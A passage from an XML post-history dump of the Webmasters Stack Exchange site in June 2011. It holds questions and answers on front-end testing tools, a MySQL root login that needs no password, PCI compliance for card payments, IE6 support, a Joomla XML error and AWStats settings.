CSS editor, code completion and syntax highlighting for all the above.&#xD;&#xA; - Photoshop for cutting the PSD into HTML.&#xD;&#xA; - The Firefox add-on MeasureIt for taking pixel measurements in the browser.&#xD;&#xA; - The Firefox add-on Pixel Perfect for creating exact pixel matches of the delivered PSD files (designers will be very happy with you for respecting their original designs).&#xD;&#xA; - a Windows VM for testing in IE. I use VMWare Fusion, which is generally good but super processor intensive, but there is also Wine, which is free and other good choices.&#xD;&#xA; - the Firefox add-on Web Developer Toolbar for a variety of tasks (checking how a site looks with JavaScript disabled, theming at the print stylesheet output, checking for accessibility, viewing the semantic structure of a site etc.). &#xD;&#xA; - Firefox add-on ColorZilla for monitoring color, grabbing hex codes from sites (very, very useful)&#xD;&#xA;&#xD;&#xA;I've also used Safari's iPad/iPhone view to test the site using a mobile user-agent.&#xD;&#xA;&#xD;&#xA;Those are some of the tools I use at least. I'd be interested in other techniques.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://keynotekungfu.com/" />
  <row Id="35669" PostHistoryTypeId="2" PostId="15130" RevisionGUID="21feec90-9495-4b27-a33d-50548fa18058" CreationDate="2011-06-11T08:58:32.227" UserId="8170" Text="When I am root, &quot;mysql&quot; connects without a password, even though I've set one:&#xD;&#xA;&#xD;&#xA;    # mysqladmin -u root password 'whatever'&#xD;&#xA;    # mysql -u root -p&#xD;&#xA;    Enter password: (typing the 'whatever' above)&#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 4 to server version: 4.1.22-standard&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; Bye&#xD;&#xA;&#xD;&#xA;but unfortunately this also happens...&#xD;&#xA;&#xD;&#xA;    # mysql -u root &#xD;&#xA;    Welcome to the MySQL monitor.  Commands end with ; or \g.&#xD;&#xA;    Your MySQL connection id is 25 to server version: 4.1.22-standard&#xD;&#xA;    &#xD;&#xA;    Type 'help;' or '\h' for help. Type '\c' to clear the buffer.&#xD;&#xA;    &#xD;&#xA;    mysql&gt; &#xD;&#xA;&#xD;&#xA;So even though I've set the password, and it IS checked when I use &quot;-p&quot;,&#xD;&#xA;it is however not necessary!?!?" />
  <row Id="35670" PostHistoryTypeId="1" PostId="15130" RevisionGUID="21feec90-9495-4b27-a33d-50548fa18058" CreationDate="2011-06-11T08:58:32.227" UserId="8170" Text="When I am root, &quot;mysql&quot; connects without a password, even though I've set one" />
  <row Id="35671" PostHistoryTypeId="3" PostId="15130" RevisionGUID="21feec90-9495-4b27-a33d-50548fa18058" CreationDate="2011-06-11T08:58:32.227" UserId="8170" Text="&lt;mysql&gt;&lt;password&gt;" />
  <row Id="35672" PostHistoryTypeId="25" PostId="15115" RevisionGUID="79dc0e7b-cfdc-45e3-9154-07b33057e2df" CreationDate="2011-06-11T09:18:12.837" Comment="http://twitter.com/#!/StackWebmasters/status/79477521393008640" />
  <row Id="35673" PostHistoryTypeId="2" PostId="15131" RevisionGUID="457f5718-a596-4a62-8f9d-996b4f264339" CreationDate="2011-06-11T09:20:05.180" UserId="2739" Text="No-one has mentioned the most important first step (as far as I'm concerned) - a pencil and paper&#xD;&#xA;&#xD;&#xA;Jot down multiple ideas for individual page layouts and overall site structure and it will save you a lot of time once you start in Photoshop or HTML/CSS coding." />
  <row Id="35674" PostHistoryTypeId="2" PostId="15132" RevisionGUID="3453ec07-9903-46d7-b74a-15a36afb7221" CreationDate="2011-06-11T10:34:36.057" UserId="7198" Text="Check your [.my.cnf](http://dev.mysql.com/tech-resources/articles/mysql_intro.html#SECTION0001500000) config file for the lines `user=root` and `password=whatever`. These enable you to log in without a username or password. Delete those lines if you want to be prompted for a password instead.&#xD;&#xA;" />
  <row Id="35675" PostHistoryTypeId="2" PostId="15133" RevisionGUID="d074c15d-89ef-4f71-b94d-162792bdf234" CreationDate="2011-06-11T11:11:38.270" UserId="8172" Text="does any one know about the tehnique to separate the Design, Server (PHP) &amp; Client Script (JQUERY) and Database Script (MYSQL)?" />
  <row Id="35676" PostHistoryTypeId="1" PostId="15133" RevisionGUID="d074c15d-89ef-4f71-b94d-162792bdf234" CreationDate="2011-06-11T11:11:38.270" UserId="8172" Text="Design, Server &amp; Client Script and Database Script" />
  <row Id="35677" PostHistoryTypeId="3" PostId="15133" RevisionGUID="d074c15d-89ef-4f71-b94d-162792bdf234" CreationDate="2011-06-11T11:11:38.270" UserId="8172" Text="&lt;css&gt;&lt;php&gt;&lt;mysql&gt;&lt;jquery&gt;" />
  <row Id="35682" PostHistoryTypeId="2" PostId="15135" RevisionGUID="8897a100-f8d1-4c4b-bdc5-c2f690200755" CreationDate="2011-06-11T11:45:51.167" UserId="4461" Text="Given that [Google updates/modifies it's algorithm over 500 times a year][1], a book that's published today on SEO could be considered dated tomorrow.&#xD;&#xA;&#xD;&#xA;That being said, the core fundamentals to performing well in search engines havent changed significantly over the recent years so this book would be considered as good as any other.&#xD;&#xA;&#xD;&#xA;You could also consider [The SEO Business Guide][2] as well (Disclaimer: I co-wrote it).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://searchengineland.com/google-makes-one-change-per-day-to-search-algorithm-40508&#xD;&#xA;  [2]: http://www.sitepoint.com/kits/seo-business-guide/" />
  <row Id="35683" PostHistoryTypeId="25" PostId="15088" RevisionGUID="14f5b764-9eb6-41c5-a5c9-6d2cb7eaa4d8" CreationDate="2011-06-11T12:18:13.547" Comment="http://twitter.com/#!/StackWebmasters/status/79522824242479105" />
  <row Id="35684" PostHistoryTypeId="2" PostId="15136" RevisionGUID="4da8ecf0-3c5a-4190-a9aa-007d37bcaedf" CreationDate="2011-06-11T13:58:31.490" UserId="8176" Text="You really don't ever want to be storing CC data on your site, it opens you up to all kinds of liability and as @danlefree mentions, the PCI DSS requirements are quite strict. You can use PayPal Pro or Authorize.net or any number of other payment processing systems that do the payment processing behind the scenes, so the visitors never need to know the processing is being done via a 3rd party. The browsing experience doesn't redirect them to another site, they stay on your site. &#xD;&#xA;&#xD;&#xA;For the most seamless experience, you still will need a SSL certificate to collect the CC data, but you are sending it straight through to the payment processor. Even in this case, I wouldn't use a self-signed SSL cert, there are plenty of discount vendors to get a basic certificate that is going to be supported by most browsers if you don't want to spring for a premium one.&#xD;&#xA;&#xD;&#xA;Also note that regardless of how you set it up, the level of PCI compliance and other security measures may depend on your merchant account and even the specific cards you support.&#xD;&#xA;&#xD;&#xA;*Also*, note that most CentOS/RHEL stock distros (at least &lt; 6) will not pass PCI scan due to the software versions they come with, at least last time I had to deal with it. This was true even though the older versions had the latest security patches, the scan wasn't sophisticated enough to detect this, so I had to use alternate repos to upgrade the LAMP stack." />
  <row Id="35685" PostHistoryTypeId="5" PostId="15109" RevisionGUID="8f8ba1e0-b93c-4a48-951b-1cdb1351c06c" CreationDate="2011-06-11T14:13:16.100" UserId="6901" Comment="added 876 characters in body" Text="I'm really impressed with stackexchange's concept of reputation (you gain reputation as you post, and the more you post, the more privileges you get), and I want to apply the concept to a wiki that I am building.&#xD;&#xA;&#xD;&#xA;Does anyone know of a php wiki that has a concept of privileges/reputation similar to stack exchange? I'm not necessarily looking for something *identical* to SE, I'm just looking for a wiki application that gives users more privileges the more they contribute *positively* to the wiki (SE has down votes, the wiki should have some way of identifying negative contributions too). Those privileges should be category based, so the more active you are in a specific category or page, the more privileges you get for that category. There should also be site wide privileges as well, though those should be harder to access than the category privileges.&#xD;&#xA;&#xD;&#xA;I should be able to change the requirements for each privilege, through a administration panel or through editing a file.&#xD;&#xA;&#xD;&#xA;Does anyone have a script or a solution that will do this? If the script uses something similar to reputation to determine how much a user has positively contributed to the site, then that is OK too." />
  <row Id="35686" PostHistoryTypeId="25" PostId="15060" RevisionGUID="93701dca-ae89-488c-9bfc-d681973f29d7" CreationDate="2011-06-11T15:18:14.663" Comment="http://twitter.com/#!/StackWebmasters/status/79568127117099009" />
  <row Id="35687" PostHistoryTypeId="17" PostId="15137" RevisionGUID="fe408aff-94a5-48e2-b9f1-060f09f4b7ec" CreationDate="2011-06-11T16:30:55.437" UserId="-1" Comment="from http://stackoverflow.com/questions/6315744/so-now-google-has-said-no-to-old-browsers-when-can-the-rest-of-us-follow-suit" Text="" />
  <row Id="35688" PostHistoryTypeId="17" PostId="15138" RevisionGUID="7be9acd5-d094-444c-81fa-f089fbaab2c1" CreationDate="2011-06-11T16:30:55.437" UserId="-1" Comment="from http://stackoverflow.com/questions/6315744/so-now-google-has-said-no-to-old-browsers-when-can-the-rest-of-us-follow-suit" Text="" />
  <row Id="35689" PostHistoryTypeId="17" PostId="15139" RevisionGUID="10d03d8d-7a7c-4c20-9502-8d95dce4da03" CreationDate="2011-06-11T16:30:55.437" UserId="-1" Comment="from http://stackoverflow.com/questions/6315744/so-now-google-has-said-no-to-old-browsers-when-can-the-rest-of-us-follow-suit" Text="" />
  <row Id="35690" PostHistoryTypeId="2" PostId="15138" RevisionGUID="1d5addf9-4e0d-4709-ba9b-b0adc9ca6863" CreationDate="2011-06-11T11:59:05.420" UserDisplayName="Jason Gennaro" Text="I think this has to be dictated by metrics.  If a significant number / percentage of visitors is using older browsers, you should support your visitors.  What is &quot;significant&quot; depends on the client. ;-)   " />
  <row Id="35691" PostHistoryTypeId="2" PostId="15139" RevisionGUID="aa7e88d0-df87-4d25-b777-78a2cd4a045c" CreationDate="2011-06-11T12:05:56.367" UserDisplayName="edeverett" Text="    If ( your site does not make money ){&#xD;&#xA;       do what makes you happy&#xD;&#xA;    }&#xD;&#xA;    else if ( the cost of supporting IE6 &gt; the money you make from IE6 users ) {&#xD;&#xA;       stop supporting IE6&#xD;&#xA;    }&#xD;&#xA;    else {&#xD;&#xA;       keep making money from IE6 users&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35692" PostHistoryTypeId="2" PostId="15137" RevisionGUID="6005e36d-5570-4727-976d-3acb3f9ef5df" CreationDate="2011-06-11T11:54:53.110" UserId="2755" Text="Google recently announced that they will no longer support older browsers on Aug 1st:&#xD;&#xA;&#xD;&#xA;http://www.bbc.co.uk/news/technology-13639875&#xD;&#xA;&#xD;&#xA;There is nothing worse than looking at the patching of code that takes place to support older browsers. If we could all move towards a standards only web (I'm looking at you IE9) then surely we could spend more time programming good web apps and less trying to make them run equally on terrible non standards compliant older browsers. &#xD;&#xA;&#xD;&#xA;So when can the rest of us expect to be able to tell our clients that we no longer support older browsers?  Because it seems that large corporates will continue to run older browsers and even if google chrome window can be installed without admin privileges (it's coming soon, currently in beta) we can't expect all users to be motivated to do this.&#xD;&#xA;&#xD;&#xA;I appreciate any thoughts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35693" PostHistoryTypeId="1" PostId="15137" RevisionGUID="6005e36d-5570-4727-976d-3acb3f9ef5df" CreationDate="2011-06-11T11:54:53.110" UserId="2755" Text="So now Google has said no to old browsers when can the rest of us follow suit?" />
  <row Id="35694" PostHistoryTypeId="3" PostId="15137" RevisionGUID="6005e36d-5570-4727-976d-3acb3f9ef5df" CreationDate="2011-06-11T11:54:53.110" UserId="2755" Text="&lt;web-development&gt;&lt;html5&gt;&lt;standards&gt;" />
  <row Id="35695" PostHistoryTypeId="2" PostId="15140" RevisionGUID="b9d93a25-8fbe-424b-83a9-a72edeb0e07d" CreationDate="2011-06-11T17:19:21.767" UserId="8169" Text="You're talking about an [MVC][1] pattern. **Model** is related to database, **View** is your design and **Controller** is your application's logic (scripts).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller" />
  <row Id="35696" PostHistoryTypeId="2" PostId="15141" RevisionGUID="26b48471-26e9-4190-8f6b-b41cf1791fc1" CreationDate="2011-06-11T17:50:02.867" UserId="4464" Text="i'm looking for a a website that offers free hosting on IIS 7.0 or IIS 7.5 other than Somee. Does anyone know such a site?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35697" PostHistoryTypeId="1" PostId="15141" RevisionGUID="26b48471-26e9-4190-8f6b-b41cf1791fc1" CreationDate="2011-06-11T17:50:02.867" UserId="4464" Text="IIS 7.0 free hosting" />
  <row Id="35698" PostHistoryTypeId="3" PostId="15141" RevisionGUID="26b48471-26e9-4190-8f6b-b41cf1791fc1" CreationDate="2011-06-11T17:50:02.867" UserId="4464" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;free&gt;&lt;iis7&gt;" />
  <row Id="35699" PostHistoryTypeId="25" PostId="15137" RevisionGUID="5adc697c-91fc-43b7-8603-adc0f9524eb2" CreationDate="2011-06-11T18:19:20.200" Comment="http://twitter.com/#!/StackWebmasters/status/79613700104916992" />
  <row Id="35700" PostHistoryTypeId="17" PostId="15142" RevisionGUID="c3402356-087f-4ca0-8a4a-5b8b6357106e" CreationDate="2011-06-11T20:15:46.777" UserId="-1" Comment="from http://stackoverflow.com/questions/6314434/xml-parsing-error-at-11544-error-4-not-well-formed-invalid-token" Text="" />
  <row Id="35701" PostHistoryTypeId="17" PostId="15143" RevisionGUID="102b6274-2d8e-4dec-8d31-e524b14f993e" CreationDate="2011-06-11T20:15:46.777" UserId="-1" Comment="from http://stackoverflow.com/questions/6314434/xml-parsing-error-at-11544-error-4-not-well-formed-invalid-token" Text="" />
  <row Id="35702" PostHistoryTypeId="2" PostId="15143" RevisionGUID="5b587216-2f54-44eb-a688-37cc290fa7a9" CreationDate="2011-06-11T07:18:32.597" UserDisplayName="Matop79" Text="Your problem is with the templateDetails.xml file in your template. Here is the tutorial how to repair it:&#xD;&#xA;http://blog.jdlh.com/en/2009/02/08/joomla_xml_parsing_error/&#xD;&#xA;" />
  <row Id="35703" PostHistoryTypeId="2" PostId="15142" RevisionGUID="ef3813ea-deb7-4179-857f-b029512355c6" CreationDate="2011-06-11T06:13:15.460" UserId="5026" Text="I have installed Joomla 1.5.22 on a new hosting account, which doesn't have a domain yet, so it's public URL is http://cp-013.micron21.com/~annimac/&#xD;&#xA;&#xD;&#xA;A message saying: XML Parsing Error at 1:1544. Error 4: not well-formed (invalid token).  The source code for this message is:&#xD;&#xA;&#xD;&#xA;    &lt;dl id=&quot;system-message&quot;&gt;&#xD;&#xA;    &lt;dt class=&quot;error&quot;&gt;Error&lt;/dt&gt;&#xD;&#xA;    &lt;dd class=&quot;error message fade&quot;&gt;&#xD;&#xA;    	&lt;ul&gt;&#xD;&#xA;    		&lt;li&gt;XML Parsing Error at 1:1544. Error 4: not well-formed (invalid token)&lt;/li&gt;&#xD;&#xA;    &#xD;&#xA;    	&lt;/ul&gt;&#xD;&#xA;    &lt;/dd&gt;&#xD;&#xA;    &lt;/dl&gt;&#xD;&#xA;&#xD;&#xA;There is nothing in /logs to indicate what the problem is.  &#xD;&#xA;&#xD;&#xA;I have uploaded the following folders from a freshly unzipped copy of Joomla 1.5.22:&#xD;&#xA;&#xD;&#xA; - administrator&#xD;&#xA; - components&#xD;&#xA; - includes&#xD;&#xA; - language\en-GB&#xD;&#xA; - libraries&#xD;&#xA; - modules&#xD;&#xA; - plugins&#xD;&#xA; - templates\ja_purity&#xD;&#xA; - xmlrpc&#xD;&#xA;&#xD;&#xA;and the issue remains.  I have no custom or additional plugins, modules, or components installed.&#xD;&#xA;&#xD;&#xA;What is the problem?" />
  <row Id="35704" PostHistoryTypeId="1" PostId="15142" RevisionGUID="ef3813ea-deb7-4179-857f-b029512355c6" CreationDate="2011-06-11T06:13:15.460" UserId="5026" Text="XML Parsing Error at 1:1544. Error 4: not well-formed (invalid token)" />
  <row Id="35705" PostHistoryTypeId="3" PostId="15142" RevisionGUID="ef3813ea-deb7-4179-857f-b029512355c6" CreationDate="2011-06-11T06:13:15.460" UserId="5026" Text="&lt;xml&gt;&lt;error&gt;&lt;joomla&gt;" />
  <row Id="35706" PostHistoryTypeId="2" PostId="15144" RevisionGUID="009849df-2a3e-43d4-bf94-ac1a0eb12f8c" CreationDate="2011-06-11T20:25:52.937" UserId="7790" Text="Bringing our web sites (3) up under PCI was a full 6 month slog and we're still fighting with it daily several years later. It's not easy. Each of the answers in that form need documentation and support and there are more requirements. If it were up to me, I would use a third party cart that is compliant, pay more and let them keep up the compliance for you." />
  <row Id="35707" PostHistoryTypeId="25" PostId="15086" RevisionGUID="640d92ea-5b88-4807-b0fb-ab6a05f8c3e9" CreationDate="2011-06-11T21:19:19.637" Comment="http://twitter.com/#!/StackWebmasters/status/79658996948148225" />
  <row Id="35708" PostHistoryTypeId="2" PostId="15145" RevisionGUID="dbfe3fc5-e35a-4232-83c1-b9ace7179c6a" CreationDate="2011-06-11T21:25:34.117" UserId="8180" Text="Depends entirely on your site and what it does.&#xD;&#xA;&#xD;&#xA;A site where you play games or have fun can demand a lot more from its users, just like a game on a computer can demand cutting edge hardware.&#xD;&#xA;&#xD;&#xA;A bank can't be as scrutinizing, as it's vital their customers can access the service. &#xD;&#xA;&#xD;&#xA;A site made for people with disabilities can't be as scrutinizing either, because people with disabilities may require specialized software which may not be compatible with newer browsers for a long time.&#xD;&#xA;&#xD;&#xA;Etc." />
  <row Id="35709" PostHistoryTypeId="2" PostId="15146" RevisionGUID="eab117a3-a3f5-4b47-b043-1c43f40127d1" CreationDate="2011-06-11T21:35:18.427" UserId="8181" Text="The problem seems to be in your &quot;Custom Module&quot; go to &quot;Module manager&quot; find your module that should appear in that position and edit&amp;save it, or if that's not possible copy it's content from the old (working) host and paste it into NEW &quot;custom component&quot; in current one." />
  <row Id="35710" PostHistoryTypeId="2" PostId="15147" RevisionGUID="a2a1d14d-cc05-4c6c-a2ec-ee5aedcd8916" CreationDate="2011-06-11T21:41:52.913" UserId="2517" Text="Use WordPress.  It's written in PHP, offers CMS features, and has a large ecosystem of themes and plugins.  See the list of [recommended WordPress hosts][1].&#xD;&#xA;&#xD;&#xA;For SCM, most good hosts will support Subversion, Git, or both.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/hosting/" />
  <row Id="35711" PostHistoryTypeId="2" PostId="15148" RevisionGUID="df45b10c-5f34-4257-ac2a-244d86b5be50" CreationDate="2011-06-11T21:45:38.170" UserId="2517" Text="You can also specify canonical URLs for pages on your site by putting an HTML `&lt;link&gt;` element with proper information in the page `&lt;head&gt;`.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &lt;link rel=&quot;canonical&quot; href=&quot;http://www.example.com/product.php?item=swedish-fish&quot; /&gt;&#xD;&#xA;&#xD;&#xA;See &quot;[Specify Your Canonical][1]&quot; at the Google Webmaster blog.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="35712" PostHistoryTypeId="2" PostId="15149" RevisionGUID="b2800a7e-fa2b-4a1b-a7d5-a86b8c86142d" CreationDate="2011-06-11T22:21:21.280" UserId="8183" Text="It will be better to introduce -1 button and clean all unappropriated posts from Google searching. " />
  <row Id="35713" PostHistoryTypeId="2" PostId="15150" RevisionGUID="2563690b-179f-43fa-bf04-93414f408c2f" CreationDate="2011-06-11T22:25:22.947" UserId="8184" Text="NameCheap offers to forward traffic to a url of your choosing, which is really handy if you are using a free web hosting service, and/or ever want to move to try another free host someday.&#xD;&#xA;&#xD;&#xA;However, I don't want to save $50 on hosting fees only to get BANNED from Google's adsense for violating it's URL Forwarding TOS.   &#xD;&#xA;&#xD;&#xA;So aside from the technical aspects of whether or not Google's crawlers will actually forward to the forwarded domain or not, the big question is, can this be done or will you be banned?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35714" PostHistoryTypeId="1" PostId="15150" RevisionGUID="2563690b-179f-43fa-bf04-93414f408c2f" CreationDate="2011-06-11T22:25:22.947" UserId="8184" Text="Does a Registrar forwarding your Domain to your hosting site url, violate Google AdSense TOS?" />
  <row Id="35715" PostHistoryTypeId="3" PostId="15150" RevisionGUID="2563690b-179f-43fa-bf04-93414f408c2f" CreationDate="2011-06-11T22:25:22.947" UserId="8184" Text="&lt;web-hosting&gt;&lt;google-adsense&gt;&lt;crawling&gt;&lt;web-crawlers&gt;" />
  <row Id="35716" PostHistoryTypeId="17" PostId="15151" RevisionGUID="a300b715-8d1e-4ca6-b5e3-7154ce297c96" CreationDate="2011-06-11T23:17:11.673" UserId="-1" Comment="from http://stackoverflow.com/questions/6317096/how-can-i-exclude-a-specific-computer-from-web-stats" Text="" />
  <row Id="35717" PostHistoryTypeId="17" PostId="15152" RevisionGUID="92860a1a-88a8-4e2a-8e39-29fc2fc3a057" CreationDate="2011-06-11T23:17:11.673" UserId="-1" Comment="from http://stackoverflow.com/questions/6317096/how-can-i-exclude-a-specific-computer-from-web-stats" Text="" />
  <row Id="35718" PostHistoryTypeId="2" PostId="15152" RevisionGUID="787677e9-fb36-4c7e-82db-e35651eb935b" CreationDate="2011-06-11T23:15:28.100" UserDisplayName="Michael Robinson" Text="It doesn't look like you can&#xD;&#xA;&#xD;&#xA;&gt; FAQ-COM140 : HOW CAN I EXCLUDE MY IP&#xD;&#xA;&gt;&#xD;&#xA;&gt; ADDRESS (OR WHOLE SUBNET MASK) FROM&#xD;&#xA;&gt; STATS ? PROBLEM:&#xD;&#xA;&gt;&#xD;&#xA;&gt; I don't want to see&#xD;&#xA;&gt; my own IP address in the stats or I&#xD;&#xA;&gt; want to exclude counting visits from a&#xD;&#xA;&gt; whole subnet. SOLUTION: You must edit&#xD;&#xA;&gt; the config file to change the&#xD;&#xA;&gt; SkipHosts parameter. For example, to&#xD;&#xA;&gt; exclude: &#xD;&#xA;&gt;&#xD;&#xA;&gt;  - your own IP address 123.123.123.123, use SkipHosts=&quot;123.123.123.123&quot;&#xD;&#xA;&gt;  -  the whole subnet 123.123.123.xxx, use&#xD;&#xA;&gt; SkipHosts=&quot;REGEX[^123\.123\.123\.]&quot;&#xD;&#xA;&gt;  - all sub hosts xxx.myintranet.com, use&#xD;&#xA;&gt; SkipHosts=&quot;REGEX[\.myintranet\.com$]&quot;&#xD;&#xA;&gt; (This one works only if DNS lookup is&#xD;&#xA;&gt; already done in your log file).&#xD;&#xA;&#xD;&#xA;From http://awstats.sourceforge.net/docs/awstats_config.html#SkipHosts&#xD;&#xA;" />
  <row Id="35719" PostHistoryTypeId="2" PostId="15151" RevisionGUID="51725eef-2207-4ebf-892a-38be4f1a7619" CreationDate="2011-06-11T16:26:32.740" UserDisplayName="Adam" Text="I'm using AWStats to track visits to my site. I know how to exclude specific ip addresses from the stats (using AWStat's .conf file). But how would I just exclude one specific visitor (me)?&#xD;&#xA;&#xD;&#xA;I want to exclude every visit regardless of my location. Just based on my specific computer, or cookies, or possibly a login password?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="35720" PostHistoryTypeId="1" PostId="15151" RevisionGUID="51725eef-2207-4ebf-892a-38be4f1a7619" CreationDate="2011-06-11T16:26:32.740" UserDisplayName="Adam" Text="How can I exclude a specific computer from web stats?" />
  <row Id="35721" PostHistoryTypeId="3" PostId="15151" RevisionGUID="51725eef-2207-4ebf-892a-38be4f1a7619" CreationDate="2011-06-11T16:26:32.740" UserDisplayName="Adam" Text="&lt;web-development&gt;&lt;awstats&gt;" />
  <row Id="35722" PostHistoryTypeId="25" PostId="15151" RevisionGUID="cfca918b-304b-4ee4-b3e5-6eb8dafb839a" CreationDate="2011-06-12T00:19:20.083" Comment="http://twitter.com/#!/StackWebmasters/status/79704296836440064" />
  <row Id="35723" PostHistoryTypeId="2" PostId="15153" RevisionGUID="11a66864-4ee0-4b6e-b47c-79ab9152533c" CreationDate="2011-06-12T01:03:08.660" UserId="8188" Text="I am a product manager about to spend 40 MD supporting IE6 for a single customer.  We sell software into call centers, an unfortunately IE6 is the default platform for many big organizations.&#xD;&#xA;&#xD;&#xA;My point is it depends, if I was building consumer web software I would have been off IE6 a long time ago, but as long as we have clients using IE6 we have to support it.  Same argument would apply for any browser or environment." />
  <row Id="35724" PostHistoryTypeId="5" PostId="15137" RevisionGUID="8c6e2a19-79d7-40c5-ac48-3c349f533dd8" CreationDate="2011-06-12T03:10:26.993" UserId="-1" Comment="Proper name is &quot;Chrome Frame&quot;, not &quot;Chrome Window&quot;" Text="Google recently announced that they will no longer support older browsers on Aug 1st:&#xD;&#xA;&#xD;&#xA;http://www.bbc.co.uk/news/technology-13639875&#xD;&#xA;&#xD;&#xA;There is nothing worse than looking at the patching of code that takes place to support older browsers. If we could all move towards a standards only web (I'm looking at you IE9) then surely we could spend more time programming good web apps and less trying to make them run equally on terrible non standards compliant older browsers. &#xD;&#xA;&#xD;&#xA;So when can the rest of us expect to be able to tell our clients that we no longer support older browsers?  Because it seems that large corporates will continue to run older browsers and even if google chrome frame can be installed without admin privileges (it's coming soon, currently in beta) we can't expect all users to be motivated to do this.&#xD;&#xA;&#xD;&#xA;I appreciate any thoughts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35725" PostHistoryTypeId="24" PostId="15137" RevisionGUID="8c6e2a19-79d7-40c5-ac48-3c349f533dd8" CreationDate="2011-06-12T03:10:26.993" Comment="Proposed by 24.57.6.68|4ed4d137-24d0-4ce5-aa17-7c463439977b approved by 3 edit id of 380" />
  <row Id="35727" PostHistoryTypeId="25" PostId="14930" RevisionGUID="1945cd55-a2ea-4cd1-8078-8383adbed509" CreationDate="2011-06-12T03:19:21.313" Comment="http://twitter.com/#!/StackWebmasters/status/79749600109539328" />
  <row Id="35728" PostHistoryTypeId="17" PostId="15155" RevisionGUID="26aa3386-7622-4c3c-8a51-84299d83b8eb" CreationDate="2011-06-12T03:35:32.567" UserId="-1" Comment="from http://stackoverflow.com/questions/6318263/seo-lang-domain-com-vs-domain-com-lang" Text="" />
  <row Id="35729" PostHistoryTypeId="2" PostId="15155" RevisionGUID="c7000b31-b291-4d44-af0d-36f45a2ee25c" CreationDate="2011-06-11T20:06:17.837" UserDisplayName="Nadav" Text="Is it better, SEO-wise, to go with `lang.domain.com` instead of `domain.com/lang`. For example: &#xD;&#xA;http://fr.mydomain.com/index.html vs. http://mydomain.com/french/index.html.&#xD;&#xA;&#xD;&#xA;Which is better, if either?" />
  <row Id="35730" PostHistoryTypeId="1" PostId="15155" RevisionGUID="c7000b31-b291-4d44-af0d-36f45a2ee25c" CreationDate="2011-06-11T20:06:17.837" UserDisplayName="Nadav" Text="SEO: lang.domain.com vs. domain.com/lang/ " />
  <row Id="35731" PostHistoryTypeId="3" PostId="15155" RevisionGUID="c7000b31-b291-4d44-af0d-36f45a2ee25c" CreationDate="2011-06-11T20:06:17.837" UserDisplayName="Nadav" Text="&lt;seo&gt;&lt;domains&gt;&lt;language&gt;" />
  <row Id="35732" PostHistoryTypeId="5" PostId="15155" RevisionGUID="ff0c847d-ccbc-4f7a-94e0-9dce7b852ccc" CreationDate="2011-06-12T04:12:19.007" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Subdomain versus subdirectory](http://webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Is it better, SEO-wise, to go with `lang.domain.com` instead of `domain.com/lang`. For example: &#xD;&#xA;http://fr.mydomain.com/index.html vs. http://mydomain.com/french/index.html.&#xD;&#xA;&#xD;&#xA;Which is better, if either?" />
  <row Id="35733" PostHistoryTypeId="10" PostId="15155" RevisionGUID="a848a24e-4db8-4b29-8fed-9a1b4701a2c5" CreationDate="2011-06-12T04:12:18.290" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35734" PostHistoryTypeId="17" PostId="15156" RevisionGUID="dc977611-5660-41b0-b416-7309baa5e2b4" CreationDate="2011-06-12T04:24:46.700" UserId="-1" Comment="from http://stackoverflow.com/questions/6317976/how-can-i-check-how-many-users-can-visit-my-website-at-the-same-time" Text="" />
  <row Id="35735" PostHistoryTypeId="17" PostId="15157" RevisionGUID="613a483b-bd64-4913-bc16-6128ff7d0a69" CreationDate="2011-06-12T04:24:46.700" UserId="-1" Comment="from http://stackoverflow.com/questions/6317976/how-can-i-check-how-many-users-can-visit-my-website-at-the-same-time" Text="" />
  <row Id="35736" PostHistoryTypeId="17" PostId="15158" RevisionGUID="8f2f6888-a735-4e5a-9d0e-888d6c66ab9f" CreationDate="2011-06-12T04:24:46.700" UserId="-1" Comment="from http://stackoverflow.com/questions/6317976/how-can-i-check-how-many-users-can-visit-my-website-at-the-same-time" Text="" />
  <row Id="35737" PostHistoryTypeId="17" PostId="15159" RevisionGUID="5f3bd105-6432-4884-83c1-7a763a2fb7ae" CreationDate="2011-06-12T04:24:46.700" UserId="-1" Comment="from http://stackoverflow.com/questions/6317976/how-can-i-check-how-many-users-can-visit-my-website-at-the-same-time" Text="" />
  <row Id="35738" PostHistoryTypeId="2" PostId="15157" RevisionGUID="638a6060-1b4b-4689-9efa-3dc5a6225110" CreationDate="2011-06-11T19:18:46.970" UserId="1666" Text="Visiting at the same time is a &quot;relative&quot; concept. &#xD;&#xA;&#xD;&#xA;The server feeds the user a page and then the user will see it for an undetermined amount of time. If the user requests a second page you can assume that the user has been on the first page for that duration (even though it's only an assumption). &#xD;&#xA;&#xD;&#xA;You could write all that down to a database and extract data from the DB but, as things go, just install **[Google Analytics][1]** that will **not slow** down your site and should meet your requirements.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/analytics/" />
